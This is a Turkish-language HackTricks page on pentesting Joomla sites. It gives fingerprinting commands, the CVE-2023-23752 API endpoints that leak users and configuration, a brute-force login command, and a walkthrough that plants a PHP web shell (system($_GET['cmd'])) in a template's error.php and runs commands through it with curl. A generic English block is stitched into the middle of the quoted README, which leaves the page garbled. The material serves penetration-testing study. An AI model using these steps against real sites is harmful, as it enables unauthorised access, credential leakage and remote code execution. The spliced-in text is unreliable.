hacktricks/network-services-pentesting/pentesting-web/joomla.md

5.8 KiB
Raw Blame History

Joomla

AWS hackleme konusunda sıfırdan kahramana dönüşmek için htARTE (HackTricks AWS Red Team Expert) öğrenin!

Joomla İstatistikleri

Joomla, Joomla kurulumlarında kullanılan Joomla, PHP ve veritabanı sürümlerinin ve sunucu işletim sistemlerinin ayrıntılı istatistiklerini toplar. Bu veriler, genel APIleri üzerinden sorgulanabilir.

curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool

{
"data": {
"cms_version": {
"3.0": 0,
"3.1": 0,
"3.10": 6.33,
"3.2": 0.01,
"3.3": 0.02,
"3.4": 0.05,
"3.5": 12.24,
"3.6": 22.85,
"3.7": 7.99,
"3.8": 17.72,
"3.9": 27.24,
"4.0": 3.21,
"4.1": 1.53,
"4.2": 0.82,
"4.3": 0,
"5.0": 0
},
"total": 2951032
}
}

Numaralandırma

Keşif/Ayak İzi

  • meta etiketlerini kontrol edin
curl https://www.joomla.org/ | grep Joomla | grep generator

<meta name="generator" content="Joomla! - Open Source Content Management" />
  • robots.txt
# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
[...]
  • README.txt

Joomla

Joomla Version Identification

Joomla version can be identified by checking the following files:

  • administrator/manifests/files/joomla.xml
  • libraries/joomla/version.php
  • libraries/src/Version.php

Joomla Vulnerability Scanning

  1. Use tools like JoomScan to scan for vulnerabilities in Joomla websites.
  2. Manually check for common vulnerabilities like SQL injection, XSS, and CSRF.

Exploiting Joomla Vulnerabilities

  1. Exploit vulnerabilities like SQL injection by manipulating input fields.
  2. Exploit XSS vulnerabilities by injecting malicious scripts into web pages.
  3. Exploit CSRF vulnerabilities by tricking users into performing unintended actions.

Joomla Password Cracking

  1. Use tools like Hashcat to crack Joomla password hashes.
  2. Utilize password dictionaries and brute force attacks to crack weak passwords.

Joomla Security Best Practices

  1. Keep Joomla and its extensions up to date to patch known vulnerabilities.
  2. Use strong and unique passwords for Joomla admin accounts.
  3. Implement security extensions like firewall plugins to enhance Joomla security.

1- What is this?
* This is a Joomla! installation/upgrade package to version 3.x
* Joomla! Official site: https://www.joomla.org
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging

Sürüm

  • /administrator/manifests/files/joomla.xml dosyasında sürümü görebilirsiniz.
  • /language/en-GB/en-GB.xml dosyasında Joomla'nın sürümünü alabilirsiniz.
  • plugins/system/cache/cache.xml dosyasında yaklaşık bir sürümü görebilirsiniz.
droopescan scan joomla --url http://joomla-site.local/

API Kimlik Doğrulaması Yapılmamış Bilgi Sızdırma:

4.0.0 ile 4.2.7 sürümleri, Kimlik doğrulaması yapılmamış bilgi sızdırma (CVE-2023-23752) açığına sahiptir ve kimlik bilgilerini ve diğer bilgileri sızdıracaktır.

  • Kullanıcılar: http://<host>/api/v1/users?public=true

  • Yapılandırma Dosyası: http://<host>/api/index.php/v1/config/application?public=true

MSF Modülü: scanner/http/joomla_api_improper_access_checks veya ruby script: 51334

Kaba Kuvvet Saldırısı

Giriş yapmak için bu script'i kullanabilirsiniz.

sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin

admin:admin

RCE

Eğer yönetici kimlik bilgilerine sahip olduysanız, RCE içine girebilirsiniz ve RCE elde etmek için bir PHP kodu parçası ekleyebilirsiniz. Bunun için bir şablonu özelleştirerek yapabiliriz.

  1. Yapılandırma altında alt sol köşede Şablonlar üzerine tıklayın ve şablonlar menüsünü açın.
  2. Bir şablon adına tıklayın. Şablon sütunu başlığı altında protostar'ı seçelim. Bu bizi Şablonlar: Özelleştir sayfasına götürecektir.
  3. Son olarak, sayfa kaynağını açmak için bir sayfaya tıklayabilirsiniz. error.php sayfasını seçelim. Aşağıdaki gibi kod yürütme elde etmek için PHP tek satırlık bir kod ekleyeceğiz:
    system($_GET['cmd']);
    
  4. Kaydet ve Kapat
  5. curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id